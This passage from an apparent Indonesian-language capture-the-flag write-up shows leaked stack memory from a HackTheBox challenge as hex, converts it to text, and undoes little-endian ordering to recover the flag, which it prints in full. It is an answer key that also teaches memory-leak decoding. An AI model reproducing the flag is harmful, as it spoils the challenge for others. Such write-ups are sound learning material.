Enter hex bytes with any prefix / postfix / delimiter and press the *Convert* button
(e.g. 45 78 61 6d 70 6C 65 21):

From

Hexadecimal

To

Text

Open File

Paste hex numbers or drop file

5658e1c0.170.5656bdfa.49.4.26.2.1.5656c96c.5658e1c0.5658e340.7b425448.5f796877.5f643164.34735f31.745f3376.665f3368.5f67346c.745f6e30.355f3368.6b633474.7d213f.49416a00.f7efe3fc.5656ef8c.ff8c4e68.5656c441.1.ff8c4f14.ff8c4f1c.49416a00.ff8c4e80.0.0.f7d41f21.f7efe000.f7efe000.0.f7d41f21.1.ff8c4f14.ff8c4f1c.ff8c4ea4.1.ff8c4f14.f7efe000.f7f1c70a.ff8c4f10.0.f7efe000.0.0.3

Character encoding

ASCII

Convert


Reset

Swap

VXáÀekß&!VVÉ1VXáÀVXã@{BTH_yhw_d1d4s_1t_3vf_3h_g4lt_n05_3hkc4t}!?!?
IAj ÷iäüVVïÿNhVVÄAøÄñ0øÄñÄøÄè }Að~p ~p ÷Ô!ø
øÄñ0øÄñIøÄêAÿ00÷ià ÷ñÇ
ÿ000~p Å%8È
D0 @÷ó@\$ ÷ñÈVVïÿeky VV·ÁVVÃáøÄñEelI00000øÄðI4ÿ];ø

7. Setelah didapat hasilnya, kita tahu bahwa string tadi [{BTH_yhw_d1d4s_1t_3vf_3h_g4lt_n05_3hkc4t}!?] adalah flagnya. Namun tidak semudah itu, hal ini dikarenakan little endian (intinya little endian ini ngebuat string yang diprint jadi kebalik).

Little-endian



8. Oleh karena itu kita harus me-reverse terlebih dahulu stringnya, untuk mempercepat disini saya memakai reverse string online tool.

The reversed string:

```
[?!}t4ckh3_50n_t14g_h3_fv3_t1_s4d1d_why_HTB{
```

BOOM! Belom beres, sekarang saatnya string tersebut dibalik setiap 4 char sehingga menghasilkan flag di bawah.

FLAG: HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}